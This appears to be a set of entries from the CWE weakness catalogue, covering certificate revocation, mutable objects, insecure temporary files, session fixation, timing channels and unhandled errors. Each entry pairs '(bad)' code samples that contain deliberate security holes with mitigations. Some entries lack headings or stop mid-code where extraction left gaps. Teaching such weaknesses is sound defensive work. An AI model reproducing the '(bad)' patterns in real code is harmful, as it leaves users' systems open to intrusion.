The following C# example contains a function that divides two numeric values without verifying that the input value used as the denominator is not zero. This will create an error for attempting to divide by zero, if this error is not caught by the error handling capabilities of the language, unexpected results can occur.

Example Language: C#

(bad)

```
int Division(int x, int y){
    return (x / y);
}
```

The method can be modified to raise, catch and handle the DivideByZeroException if the input value used as the denominator is zero.

Example Language:

(good)

```
int SafeDivision(int x, int y){
    try{
        return (x / y);
    }
    catch (System.DivideByZeroException dbz){
        System.Console.WriteLine("Division by zero attempted!");
        return 0;
    }
}
```

## CWE-370: Missing Check for Certificate Revocation after Initial Check

**Weakness ID :** 370

**Status:** Draft

**Structure :** Simple

**Abstraction :** Variant

### Description

The software does not check the revocation status of a certificate after its initial revocation check, which can cause the software to perform privileged actions even after the certificate is revoked at a later time.

### Extended Description

If the revocation status of a certificate is not checked before each action that requires privileges, the system may be subject to a race condition. If a certificate is revoked after the initial check, all subsequent actions taken with the owner of the revoked certificate will lose all benefits guaranteed by the certificate. In fact, it is almost certain that the use of a revoked certificate indicates malicious activity.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

Scope	Impact	Likelihood
	<i>Trust may be assigned to an entity who is not who it claims to be.</i>	
Integrity	Modify Application Data <i>Data from an untrusted (and possibly malicious) source may be integrated.</i>	
Confidentiality	Read Application Data <i>Data may be disclosed to an entity impersonating a trusted entity, resulting in information disclosure.</i>	

## Potential Mitigations

### Phase: Architecture and Design

Ensure that certificates are checked for revoked status before each use of a protected resource. If the certificate is checked before each access of a protected resource, the delay subject to a possible race condition becomes almost negligible and significantly reduces the risk associated with this issue.

## Demonstrative Examples

### Example 1:

The following code checks a certificate before performing an action.

Example Language: C

(bad)

```
if (cert = SSL_get_peer_certificate(ssl)) {
    foo=SSL_get_verify_result(ssl);
    if (X509_V_OK==foo)
        //do stuff
    foo=SSL_get_verify_result(ssl);
    //do more stuff without the check.
```

While the code performs the certificate verification before each action, it does not check the result of the verification after the initial attempt. The certificate may have been revoked in the time between the privileged actions.

## CWE-372: Incomplete Internal State Distinction

**Weakness ID** : 372

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The software does not properly determine which state it is in, causing it to assume it is in state X when in fact it is in state Y, causing it to perform incorrect operations in a security-relevant manner.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. ### Notes

#### Relationship

This conceptually overlaps other categories such as insufficient verification, but this entry refers to the product's incorrect perception of its own state.

#### Relationship

This is probably resultant from other weaknesses such as unhandled error conditions, inability to handle out-of-order steps, multiple interpretation errors, etc.

#### Maintenance

This entry is being considered for deprecation. It was poorly-defined in PLOVER and is not easily described using the behavior/resource/property model of vulnerability theory.

## CWE-374: Passing Mutable Objects to an Untrusted Method

**Weakness ID** : 374

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The program sends non-cloned mutable data as an argument to a method or function.

### Extended Description

The function or method that has been called can alter or delete the mutable data. This could violate assumptions that the calling function has made about its state. In situations where unknown code is called with references to mutable data, this external code could make changes to the data sent. If this data was not previously cloned, the modified data might not be valid in the context of execution.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. ### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory  <i>Potentially data could be tampered with by another function which should not have been tampered with.</i>	

## Potential Mitigations

### Phase: Implementation

Pass in data which should not be altered as constant or immutable.

### Phase: Implementation

Clone all mutable data before passing it into an external function . This is the preferred mitigation. This way, regardless of what changes are made to the data, a valid copy is retained for use by the class.

## Demonstrative Examples

### Example 1:

The following example demonstrates the weakness.

*Example Language: C*

*(bad)*

```
private:
    int foo;
    complexType bar;
    String baz;
    otherClass externalClass;
public:
    void doStuff() {
        externalClass.doOtherStuff(foo, bar, baz)
    }
}
```

In this example, bar and baz will be passed by reference to doOtherStuff() which may change them.

### Example 2:

In the following Java example, the BookStore class manages the sale of books in a bookstore, this class includes the member objects for the bookstore inventory and sales database manager classes. The BookStore class includes a method for updating the sales database and inventory when a book is sold. This method retrieves a Book object from the bookstore inventory object using the supplied ISBN number for the book class, then calls a method for the sales object to update the sales information and then calls a method for the inventory object to update inventory for the BookStore.

*Example Language: Java*

*(bad)*

```
public class BookStore {
    private BookStoreInventory inventory;
    private SalesDBManager sales;
    ...
    // constructor for BookStore
    public BookStore() {
        this.inventory = new BookStoreInventory();
        this.sales = new SalesDBManager();
        ...
    }
    public void updateSalesAndInventoryForBookSold(String bookISBN) {
        // Get book object from inventory using ISBN
        Book book = inventory.getBookWithISBN(bookISBN);
        // update sales information for book sold
        sales.updateSalesInformation(book);
        // update inventory
        inventory.updateInventory(book);
    }
    // other BookStore methods
    ...
}
public class Book {
    private String title;
```

```
private String author;
private String isbn;
// Book object constructors and get/set methods
...
}
```

However, in this example the Book object that is retrieved and passed to the method of the sales object could have its contents modified by the method. This could cause unexpected results when the book object is sent to the method for the inventory object to update the inventory.

In the Java programming language arguments to methods are passed by value, however in the case of objects a reference to the object is passed by value to the method. When an object reference is passed as a method argument a copy of the object reference is made within the method and therefore both references point to the same object. This allows the contents of the object to be modified by the method that holds the copy of the object reference. [REF-374]

In this case the contents of the Book object could be modified by the method of the sales object prior to the call to update the inventory.

To prevent the contents of the Book object from being modified, a copy of the Book object should be made before the method call to the sales object. In the following example a copy of the Book object is made using the clone() method and the copy of the Book object is passed to the method of the sales object. This will prevent any changes being made to the original Book object.

Example Language: Java

(good)

```
...
public void updateSalesAndInventoryForBookSold(String bookISBN) {
    // Get book object from inventory using ISBN
    Book book = inventory.getBookWithISBN(bookISBN);
    // Create copy of book object to make sure contents are not changed
    Book bookSold = (Book) book.clone();
    // update sales information for book sold
    sales.updateSalesInformation(bookSold);
    // update inventory
    inventory.updateInventory(book);
}
...
```

## CWE-375: Returning a Mutable Object to an Untrusted Caller

**Weakness ID** : 375

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

Sending non-cloned mutable data as a return value may result in that data being altered or deleted by the calling function.

### Extended Description

In situations where functions return references to mutable data, it is possible that the external code which called the function may make changes to the data sent. If this data was not previously cloned, the class will then be using modified data which may violate assumptions about its internal state.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Access Control Integrity	Modify Memory  <i>Potentially data could be tampered with by another function which should not have been tampered with.</i>	

### Potential Mitigations

**Phase**: Implementation

Declare returned data which should not be altered as constant or immutable.

### Phase: Implementation

Clone all mutable data before returning references to it. This is the preferred mitigation. This way, regardless of what changes are made to the data, a valid copy is retained for use by the class.

### Demonstrative Examples

#### Example 1:

This class has a private list of patients, but provides a way to see the list :

Example Language: Java

(bad)

```
public class ClinicalTrial {
    private PatientClass[] patientList = new PatientClass[50];
    public getPatients(...) {
        return patientList;
    }
}
```

While this code only means to allow reading of the patient list, the `getPatients()` method returns a reference to the class's original patient list instead of a reference to a copy of the list. Any caller of this method can arbitrarily modify the contents of the patient list even though it is a private member of the class.

<b>Abstraction</b> : Class	

### Description

Creating and using insecure temporary files can leave application and system data vulnerable to attack.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

### Demonstrative Examples

#### Example 1:

The following code uses a temporary file for storing intermediate data gathered from the network before it is processed.

*Example Language: C*

*(bad)*

```
if (tmpnam_r(filename)) {
    FILE* tmp = fopen(filename,"wb+");
    while((recv(sock,recvbuf,DATA_SIZE, 0) > 0)&(amt!=0)) amt = fwrite(recvbuf,1,DATA_SIZE,tmp);
}
...
```

This otherwise unremarkable code is vulnerable to a number of different attacks because it relies on an insecure method for creating temporary files. The vulnerabilities introduced by this function and others are described in the following sections. The most egregious security problems related to temporary file creation have occurred on Unix-based operating systems, but Windows applications have parallel risks. This section includes a discussion of temporary file creation on both Unix and Windows systems. Methods and behaviors can vary between systems, but the fundamental risks introduced by each are reasonably constant.

## Notes

### Other

Applications require temporary files so frequently that many different mechanisms exist for creating them in the C Library and Windows(R) API. Most of these functions are vulnerable to various forms of attacks. The functions designed to aid in the creation of temporary files can be broken into two groups based whether they simply provide a filename or actually open a new file. - Group 1: "Unique" Filenames: The first group of C Library and WinAPI functions designed to help with the process of creating temporary files do so by generating a unique file name for a new temporary file, which the program is then supposed to open. This group includes C Library functions like `tmpnam()`, `tempnam()`, `mktemp()` and their C++ equivalents prefaced with an `_` (underscore) as well as the `GetTempFileName()` function from the Windows API. This group of functions suffers from an underlying race condition on the filename chosen. Although the functions guarantee that the filename is unique at the time it is selected, there is no mechanism to prevent another process or an attacker from creating a file with the same name after it is selected but before the application attempts to open the file. Beyond the risk of a legitimate collision caused by another call to the same function, there is a high probability that an attacker will be able to create a malicious collision because the filenames generated by these functions are not sufficiently randomized to make them difficult to guess. If a file with the selected name is created, then depending on how the file is opened the existing contents or access permissions of the file may remain intact. If the existing contents of the file are malicious in nature, an attacker may be able to inject dangerous data into the application when it reads data back from the temporary file. If an attacker pre-creates the file with relaxed access permissions, then data stored in the temporary file by the application may be accessed, modified or corrupted by an attacker. On Unix based systems an even more insidious attack is possible if the attacker pre-creates the file as a link to another important file. Then, if the application truncates or writes data to the file, it may unwittingly perform damaging operations for the attacker. This is an especially serious threat if the program operates with elevated permissions. Finally, in the best case the file will be opened with the a call to `open()` using the `O_CREAT` and `O_EXCL` flags or to `CreateFile()` using the `CREATE_NEW` attribute, which will fail if the file already exists and therefore prevent the types of attacks described above. However, if an attacker is able to accurately predict a sequence of temporary file names, then the application may be prevented from opening necessary temporary storage causing a denial of service (DoS) attack. This type of attack would not be difficult to mount given the small amount of randomness used in the selection of the filenames generated by these functions. - Group 2: "Unique" Files: The second group of C Library functions attempts to resolve some of the security problems related to temporary files by not only generating a unique file name, but also opening the file. This group includes C Library functions like `tmpfile()` and its C++ equivalents prefaced with an `_` (underscore), as well as the slightly better-behaved C Library function `mkstemp()`. The `tmpfile()` style functions construct a unique filename and open it in the same way that `fopen()` would if passed the flags "wb+", that is, as a binary file in read/write mode. If the file already exists, `tmpfile()` will truncate it to size zero, possibly in an attempt to assuage the security concerns mentioned earlier regarding the race condition that exists between the selection of a supposedly unique filename and the subsequent opening of the selected file. However, this behavior clearly does not solve the function's security problems. First, an attacker can pre-create the file with relaxed access-permissions that will

likely be retained by the file opened by `tmpfile()`. Furthermore, on Unix based systems if the attacker pre-creates the file as a link to another important file, the application may use its possibly elevated permissions to truncate that file, thereby doing damage on behalf of the attacker. Finally, if `tmpfile()` does create a new file, the access permissions applied to that file will vary from one operating system to another, which can leave application data vulnerable even if an attacker is unable to predict the filename to be used in advance. Finally, `mkstemp()` is a reasonably safe way create temporary files. It will attempt to create and open a unique file based on a filename template provided by the user combined with a series of randomly generated characters. If it is unable to create such a file, it will fail and return -1. On modern systems the file is opened using mode 0600, which means the file will be secure from tampering unless the user explicitly changes its access permissions. However, `mkstemp()` still suffers from the use of predictable file names and can leave an application vulnerable to denial of service attacks if an attacker causes `mkstemp()` to fail by predicting and pre-creating the filenames to be used.

## CWE-378: Creation of Temporary File With Insecure Permissions

**Weakness ID** : 378

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

Opening temporary files without appropriate measures or controls can leave the file, its contents and any function that it impacts vulnerable to attack.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1219	File Handling Issues	2143

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data  <i>If the temporary file can be read by the attacker, sensitive information may be in that file which could be revealed.</i>	
Authorization Other	Other  <i>If that file can be written to by the attacker, the file might be moved into a place to which the attacker does not have access. This will allow the attacker to gain selective resource access-control privileges.</i>	
Integrity Other	Other  <i>Depending on the data stored in the temporary file, there is the potential for an attacker to gain an additional input vector which is trusted as non-malicious. It may be possible to make arbitrary changes to data structures, user information, or even process ownership.</i>	

### Potential Mitigations

#### Phase: Requirements

Many contemporary languages have functions which properly handle this condition. Older C temp file functions are especially susceptible.

#### Phase: Implementation

Ensure that you use proper file permissions. This can be achieved by using a safe temp file function. Temporary files should be writable and readable only by the process that owns the file.

#### Phase: Implementation

Randomize temporary file names. This can also be achieved by using a safe temp-file function. This will ensure that temporary files will not be created in predictable places.

### Demonstrative Examples

#### Example 1:

In the following code examples a temporary file is created and written to. After using the temporary file, the file is closed and deleted from the file system.

*Example Language: C*

*(bad)*

```
FILE *stream;
```

```

if( (stream = tmpfile()) == NULL ) {
    perror("Could not open new temporary file\n");
    return (-1);
}
// write data to tmp file
...
// remove tmp file
rmtmp();

```

However, within this C/C++ code the method `tmpfile()` is used to create and open the temp file. The `tmpfile()` method works the same way as the `fopen()` method would with read/write permission, allowing attackers to read potentially sensitive information contained in the temp file or modify the contents of the file.

Example Language: Java

(bad)

```

try {
    File temp = File.createTempFile("pattern", ".suffix");
    temp.deleteOnExit();
    BufferedWriter out = new BufferedWriter(new FileWriter(temp));
    out.write("aString");
    out.close();
}
catch (IOException e) {
}

```

Similarly, the `createTempFile()` method used in the Java code creates a temp file that may be readable and writable to all users.

Additionally both methods used above place the file into a default directory. On UNIX systems the default directory is usually `/tmp` or `/var/tmp` and on Windows systems the default directory is usually `C:\\Windows\\Temp`, which may be easily accessible to attackers, possibly enabling them to read and modify the contents of the temp file.

## CWE-379: Creation of Temporary File in Directory with Insecure Permissions

Weakness ID : 379

Status: Incomplete

Structure : Simple

Abstraction : Base

### Description

The software creates a temporary file in a directory whose permissions allow unintended actors to determine the file's existence or otherwise access that file.

## Extended Description

On some operating systems, the fact that the temporary file exists may be apparent to any user with sufficient privileges to access that directory. Since the file is visible, the application that is using the temporary file could be known. If one has access to list the processes on the system, the attacker has gained information about what the user is doing at that time. By correlating this with the applications the user is running, an attacker could potentially discover what a user's actions are. From this, higher levels of security could be breached.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Phase: Implementation

Try to store sensitive tempfiles in a directory which is not world readable -- i.e., per-user directories.

### Phase: Implementation

Avoid using vulnerable temp file functions.

## Demonstrative Examples

## CWE-382: J2EE Bad Practices: Use of System.exit()

**Weakness ID** : 382**Status**: Draft**Structure** : Simple**Abstraction** : Variant

### Description

A J2EE application uses System.exit(), which also shuts down its container.

### Extended Description

It is never a good idea for a web application to attempt to shut down the application container. Access to a function that can shut down the application is an avenue for Denial of Service (DoS) attacks.

### Applicable Platforms

**Language** : Java (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	

### Potential Mitigations

#### Phase: Architecture and Design

*Strategy = Separation of Privilege*

The shutdown function should be a privileged function available only to a properly authorized administrative user

#### Phase: Implementation

Web applications should not call methods that cause the virtual machine to exit, such as System.exit()

#### Phase: Implementation

Web applications should also not throw any Throwables to the application server as this may adversely affect the container.

#### Phase: Implementation

Non-web applications may have a main() method that contains a System.exit(), but generally should not call System.exit() from other locations in the code

### Demonstrative Examples

#### Example 1:

Included in the doPost() method defined below is a call to System.exit() in the event of a specific exception.

*Example Language: Java*

*(bad)*

```
Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
```

```

try {

## CWE-383: J2EE Bad Practices: Direct Use of Threads

**Weakness ID** : 383

**Status**: Draft

**Structure** : Simple

**Abstraction** : Variant

### Description

Thread management in a Web application is forbidden in some circumstances and is always highly error prone.

### Extended Description

Thread management in a web application is forbidden by the J2EE standard in some circumstances and is always highly error prone. Managing threads is difficult and is likely to interfere in unpredictable ways with the behavior of the application container. Even without interfering with the container, thread management usually leads to bugs that are hard to detect and diagnose like deadlock, race conditions, and other synchronization errors.

## CWE-384: Session Fixation

<b>Weakness ID</b> : 384	<b>Status</b> : Incomplete
<b>Structure</b> : Composite	
<b>Abstraction</b> : Compound	

### Description

Authenticating a user, or otherwise establishing a new user session, without invalidating any existing session identifier gives an attacker the opportunity to steal authenticated sessions.

### Composite Components

Nature	Type	ID	Name	Page
Requires		346	Origin Validation Error	771
Requires		472	External Control of Assumed-Immutable Web Parameter	1018
Requires		441	Unintended Proxy or Intermediary ('Confused Deputy')	964

### Extended Description

Such a scenario is commonly observed when:

1. A web application authenticates a user without first invalidating the existing session, thereby continuing to use the session already associated with the user.
2. An attacker is able to force a known session identifier on a user so that, once the user authenticates, the attacker has access to the authenticated session.
3. The application or container uses predictable session identifiers. In the generic exploit of session fixation vulnerabilities, an attacker creates a new session on a web application and records the associated session identifier. The attacker then causes the victim to associate, and possibly authenticate, against the server using that session identifier, giving the attacker access to the user's account through the active session.

These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. ### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

### Potential Mitigations

#### Phase: Architecture and Design

Invalidate any existing session identifiers prior to authorizing a new user session.

#### Phase: Architecture and Design

For platforms such as ASP that do not generate new values for sessionid cookies, utilize a secondary cookie. In this approach, set a secondary cookie on the user's browser to a random value and set a session variable to the same value. If the session variable and the cookie value ever don't match, invalidate the session, and force the user to log on again.

### Demonstrative Examples

#### Example 1:

The following example shows a snippet of code from a J2EE web application where the application authenticates users with `LoginContext.login()` without first calling `HttpSession.invalidate()`.

*Example Language: Java*

*(bad)*

```
private void auth(LoginContext lc, HttpSession session) throws LoginException {  
    ...  
    lc.login();  
    ...  
}
```

In order to exploit the code above, an attacker could first create a session (perhaps by logging into the application) from a public terminal, record the session identifier assigned by the application, and reset the browser to the login page. Next, a victim sits down at the same public terminal, notices the browser open to the login page of the site, and enters credentials to authenticate against the application. The code responsible for authenticating the victim continues to use the pre-existing session identifier, now the attacker simply uses the session identifier recorded earlier to access the victim's active session, providing nearly unrestricted access to the victim's account for the lifetime of the session. Even given a vulnerable application, the success of the specific attack described here is dependent on several factors working in the favor of the attacker: access to an unmonitored public terminal, the ability to keep the compromised session active and a victim interested in logging into the vulnerable application on the public terminal.

In most circumstances, the first two challenges are surmountable given a sufficient investment of time. Finding a victim who is both using a public terminal and interested in logging into the vulnerable application is possible as well, so long as the site is reasonably popular. The less well known the site is, the lower the odds of an interested victim using the public terminal and the lower the chance of success for the attack vector described above. The biggest challenge an attacker faces in exploiting session fixation vulnerabilities is inducing victims to authenticate against the vulnerable application using a session identifier known to the attacker.

In the example above, the attacker did this through a direct method that is not subtle and does not scale suitably for attacks involving less well-known web sites. However, do not be lulled into complacency; attackers have many tools in their belts that help bypass the limitations of this attack vector. The most common technique employed by attackers involves taking advantage of cross-

site scripting or HTTP response splitting vulnerabilities in the target site [12]. By tricking the victim into submitting a malicious request to a vulnerable application that reflects JavaScript or other code back to the victim's browser, an attacker can create a cookie that will cause the victim to reuse a session identifier controlled by the attacker. It is worth noting that cookies are often tied to the top level domain associated with a given URL. If multiple applications reside on the same top level domain, such as bank.example.com and recipes.example.com, a vulnerability in one application can allow an attacker to set a cookie with a fixed session identifier that will be used in all interactions with any application on the domain example.com [29].

### Example 2:

The following example shows a snippet of code from a J2EE web application where the application authenticates users with a direct post to the `<code>j_security_check</code>`, which typically does not invalidate the existing session before processing the login request.

Example Language: HTML

(bad)

```
<form method="POST" action="j_security_check">
  <input type="text" name="j_username">
  <input type="text" name="j_password">
</form>
```

### Notes

#### Other

Other attack vectors include DNS poisoning and related network based attacks where an attacker causes the user to visit a malicious site by redirecting a request for a valid site. Network based attacks typically involve a physical presence on the victim's network or control of a compromised machine on the network, which makes them harder to exploit remotely, but their significance should not be overlooked. Less secure session management mechanisms, such as the default implementation in Apache Tomcat, allow session identifiers normally expected in a cookie to be specified on the URL as well, which enables an attacker to cause a victim to use a fixed session identifier simply by emailing a malicious URL.

## CWE-385: Covert Timing Channel

**Weakness ID** : 385

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Base

### Description

Covert timing channels convey information by modulating some aspect of system behavior over time, so that the program receiving the information can observe system behavior and infer protected information.

### Extended Description

In some instances, knowing when data is transmitted between parties can provide a malicious user with privileged information. Also, externally monitoring the timing of operations can potentially reveal sensitive data. For example, a cryptographic operation can expose its internal state if the time it takes to perform the operation varies, based on the state.

Covert channels are frequently classified as either storage or timing channels. Some examples of covert timing channels are the system's paging rate, the time a certain transaction requires to execute, and the time it takes to gain access to a shared bus.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Potential Mitigations

#### Phase: Architecture and Design

Whenever possible, specify implementation strategies that do not introduce time variances in operations.

#### Phase: Implementation

Often one can artificially manipulate the time which operations take or -- when operations occur -- can remove information from the attacker.

#### Phase: Implementation

It is reasonable to add artificial or random delays so that the amount of CPU time consumed is independent of the action being taken by the application.

### Demonstrative Examples

#### Example 1:

In this example, the attacker observes how long an authentication takes when the user types in the correct password.

When the attacker tries their own values, they can first try strings of various length. When they find a string of the right length, the computation will take a bit longer, because the for loop will run at least once. Additionally, with this code, the attacker can possibly learn one character of the password at a time, because when they guess the first character right, the computation will take longer than a wrong guesses. Such an attack can break even the most sophisticated password with a few hundred guesses.

*Example Language: Python*

*(bad)*

```
def validate_password(actual_pw, typed_pw):
    if len(actual_pw) <> len(typed_pw):
        return 0
    for i in len(actual_pw):
        if actual_pw[i] <> typed_pw[i]:
            return 0
    return 1
```

Note that, in this example, the actual password must be handled in constant time, as far as the attacker is concerned, even if the actual password is of an unusual length. This is one reason why it is good to use an algorithm that, among other things, stores a seeded cryptographic one-way hash of the password, then compare the hashes, which will always be of the same length.

Integrity	Varies by Context	
Other	Unexpected State Alter Execution Logic	
<p><i>An attacker could utilize an ignored error condition to place the system in an unexpected state that could lead to the execution of unintended logic and could cause other unintended behavior.</i></p>		

## Potential Mitigations

### Phase: Implementation

Properly handle each exception. This is the recommended solution. Ensure that all exceptions are handled in such a way that you can be sure of the state of your system at any given moment.

### Phase: Implementation

If a function returns an error, it is important to either fix the problem and try again, alert the user that an error has happened and let the program continue, or alert the user and close and cleanup the program.

### Phase: Testing

Subject the software to extensive testing to discover some of the possible instances of where/how errors or return values are not handled. Consider testing techniques such as ad hoc, equivalence partitioning, robustness and fault tolerance, mutation, and fuzzing.

## Demonstrative Examples

### Example 1:

The following example attempts to allocate memory for a character. After the call to malloc, an if statement is used to check whether the malloc function failed.

*Example Language: C*

*(bad)*

```
foo=malloc(sizeof(char)); //the next line checks to see if malloc failed
if (foo==NULL) {
    //We do nothing so we just ignore the error.
}
```

The conditional successfully detects a NULL return value from malloc indicating a failure, however it does not do anything to handle the problem. Unhandled errors may have unexpected results and may cause the program to crash or terminate.

Instead, the if block should contain statements that either attempt to fix the problem or notify the user that an error has occurred and continue processing or perform some cleanup and gracefully terminate the program. The following example notifies the user that the malloc function did not allocate the required memory resources and returns an error code.

*Example Language: C*

*(good)*

```
foo=malloc(sizeof(char)); //the next line checks to see if malloc failed
if (foo==NULL) {
    printf("Malloc failed to allocate memory resources");
    return -1;
}
```

### Example 2:

In the following C++ example the method readfile() will read the file whose name is provided in the input parameter and will return the contents of the file in char string. The method calls open() and read() may result in errors if the file does not exist or does not contain any data to read. These errors will be thrown when the is\_open() method and good() method indicate errors opening or reading the file. However, these errors are not handled within the catch statement. Catch statements that do not perform any processing will have unexpected results. In this case an empty char string will be returned, and the file will not be properly closed.

*Example Language: C++*

*(bad)*

```
char* readfile (char *filename) {
    try {
        // open input file
        ifstream infile;
        infile.open(filename);
        if (!infile.is_open()) {
            throw "Unable to open file " + filename;
        }
        // get length of file
        infile.seekg (0, ios::end);
        int length = infile.tellg();
        infile.seekg (0, ios::beg);
        // allocate memory
        char *buffer = new char [length];
        // read data from file
        infile.read (buffer,length);
        if (!infile.good()) {
            throw "Unable to read from file " + filename;
        }
        infile.close();
        return buffer;
    }
    catch (...) {
        /* bug: insert code to handle this later */
    }
}
```

The catch statement should contain statements that either attempt to fix the problem or notify the user that an error has occurred and continue processing or perform some cleanup and gracefully terminate the program. The following C++ example contains two catch statements. The first of these will catch a specific error thrown within the try block, and the second catch statement will catch all other errors from within the catch block. Both catch statements will notify the user that an error has occurred, close the file, and rethrow to the block that called the readfile() method for further handling or possible termination of the program.

Example Language: C++

(good)

```

char* readFile (char *filename) {
    try {
        // open input file
        ifstream infile;
        infile.open(filename);
        if (!infile.is_open()) {
            throw "Unable to open file " + filename;
        }
        // get length of file
        infile.seekg (0, ios::end);
        int length = infile.tellg();
        infile.seekg (0, ios::beg);
        // allocate memory
        char *buffer = new char [length];
        // read data from file
        infile.read (buffer,length);
        if (!infile.good()) {
            throw "Unable to read from file " + filename;
        }
        infile.close();
        return buffer;
    }
    catch (char *str) {
        printf("Error: %s \n", str);
        infile.close();
        throw str;
    }
    catch (...) {
        printf("Error occurred trying to read from file \n");
        infile.close();
        throw;
    }
}

```

**Example 3:**

In the following Java example the method `readFile` will read the file whose name is provided in the input parameter and will return the contents of the file in a `String` object. The constructor of the `FileReader` object and the `read` method call may throw exceptions and therefore must be within a `try/catch` block. While the `catch` statement in this example will catch thrown exceptions in order for the method to compile, no processing is performed to handle the thrown exceptions. `Catch` statements that do not perform any processing will have unexpected results. In this case, this will result in the return of a `null String`.

Example Language: Java

(bad)

```

public String readFile(String filename) {
    String retString = null;
    try {
        // initialize File and FileReader objects
        File file = new File(filename);
        FileReader fr = new FileReader(file);
        // initialize character buffer
        long fLen = file.length();
        char[] cBuf = new char[(int) fLen];
        // read data from file
        int iRead = fr.read(cBuf, 0, (int) fLen);
        // close file
        fr.close();
        retString = new String(cBuf);
    } catch (Exception ex) {
        /* do nothing, but catch so it'll compile... */
    }
    return retString;
}

```

}

The catch statement should contain statements that either attempt to fix the problem, notify the user that an exception has been raised and continue processing, or perform some cleanup and gracefully terminate the program. The following Java example contains three catch statements. The first of these will catch the `FileNotFoundException` that may be thrown by the `FileReader` constructor called within the try/catch block. The second catch statement will catch the `IOException` that may be thrown by the `read` method called within the try/catch block. The third catch statement will catch all other exceptions thrown within the try block. For all catch statements the user is notified that the exception has been thrown and the exception is rethrown to the block that called the `readFile()` method for further processing or possible termination of the program. Note that with Java it is usually good practice to use the `getMessage()` method of the exception class to provide more information to the user about the exception raised.

Example Language: Java

(good)

```
public String readFile(String filename) throws FileNotFoundException, IOException, Exception {
    String retString = null;
    try {
        // initialize File and FileReader objects
        File file = new File(filename);
        FileReader fr = new FileReader(file);
        // initialize character buffer
        long fLen = file.length();
        char [] cBuf = new char[(int) fLen];
        // read data from file
        int iRead = fr.read(cBuf, 0, (int) fLen);
        // close file
        fr.close();
        retString = new String(cBuf);
    } catch (FileNotFoundException ex) {
        System.err.println("Error: FileNotFoundException opening the input file: " + filename );
        System.err.println("" + ex.getMessage() );
        throw new FileNotFoundException(ex.getMessage());
    } catch (IOException ex) {
        System.err.println("Error: IOException reading the input file.\n" + ex.getMessage() );
        throw new IOException(ex);
    } catch (Exception ex) {
        System.err.println("Error: Exception reading the input file.\n" + ex.getMessage() );
        throw new Exception(ex);
    }
    return retString;
}
```

## CWE-391: Unchecked Error Condition

<b>Weakness ID</b> : 391	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

[PLANNED FOR DEPRECATION. SEE MAINTENANCE NOTES AND CONSIDER CWE-252, CWE-248, OR CWE-1069.] Ignoring exceptions and other error conditions may allow an attacker to induce unexpected behavior unnoticed.

### Relationships

### Likelihood Of Exploit

Medium

## Common Consequences

Scope	Impact	Likelihood
Integrity	Varies by Context	
Other	Unexpected State Alter Execution Logic	

## Potential Mitigations

### Phase: Requirements

The choice between a language which has named or unnamed exceptions needs to be done. While unnamed exceptions exacerbate the chance of not properly dealing with an exception, named exceptions suffer from the up call version of the weak base class problem.

### Phase: Requirements

A language can be used which requires, at compile time, to catch all serious exceptions. However, one must make sure to use the most current version of the API as new exceptions could be added.

### Phase: Implementation

Catch all relevant exceptions. This is the recommended solution. Ensure that all exceptions are handled in such a way that you can be sure of the state of your system at any given moment.

## Demonstrative Examples

### Example 1:

The following code excerpt ignores a rarely-thrown exception from doExchange().

Example Language: Java

(bad)

```
try {
    doExchange();
}
catch (RareException e) {
    // this can never happen
}
```

